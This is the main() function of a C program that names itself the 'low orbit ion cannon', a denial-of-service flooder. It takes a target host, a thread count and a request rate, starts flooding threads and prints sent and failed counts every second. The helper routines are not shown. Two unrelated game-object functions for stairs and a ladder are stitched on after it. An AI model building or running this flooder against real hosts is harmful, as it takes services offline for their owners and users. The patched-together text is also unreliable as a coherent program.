int main(int argc, char **argv) { int num_threads = 100; int rate = 1000; struct option long_options[] = { {"threads", required_argument, 0, 't'}, {"rate", required_argument, 0, 'r'}, {"help", no_argument, 0, 'h'}, {0, 0, 0, 0 } }; int c; int option_index = 0; while((c = getopt_long(argc, argv, "ht:r:", long_options, &option_index)) != -1) { switch(c) { case 't': num_threads = atoi(optarg); break; case 'r': rate = atoi(optarg); break; case 'h': printf("loic: low orbit ion cannon\n"); usage(); printf(" -r, --rate: modify requests per second\n" " default: 1000\n" " -t, --threads: modify the number of threads\n" " default: 100\n"); return 0; default: usage(); return -1; } } if(optind == argc) { printf("error: a host must be supplied\n"); usage(); return -1; } pthread_t threads[num_threads]; char done = 1; int i; long long nsec_rate = 1000000000LL * num_threads / rate; gtime.tv_sec = nsec_rate / 1000000000LL; gtime.tv_nsec = nsec_rate % 1000000000LL; setup_messages(); setupinfo(argv[optind]); for(i=0; i<num_threads; ++i) { pthread_create(&threads[i], NULL, loop, &done); } for(;;) { send_count = 0; recv_count = 0; restart_count = 0; sleep(1); printf("sent: %8llu recvd: %10llu failed: %8llu\n", send_count, recv_count, restart_count); } done = 0; return 0; }
// Separated from create() so that objects can overload this separately void more_create(mixed up_dest, mixed down_dest) { set_plural(1); setup_messages("stairs", up_dest, down_dest); }
void more_create(mixed up_dest, mixed down_dest, int attached) { setup_messages("ladder", up_dest, down_dest); }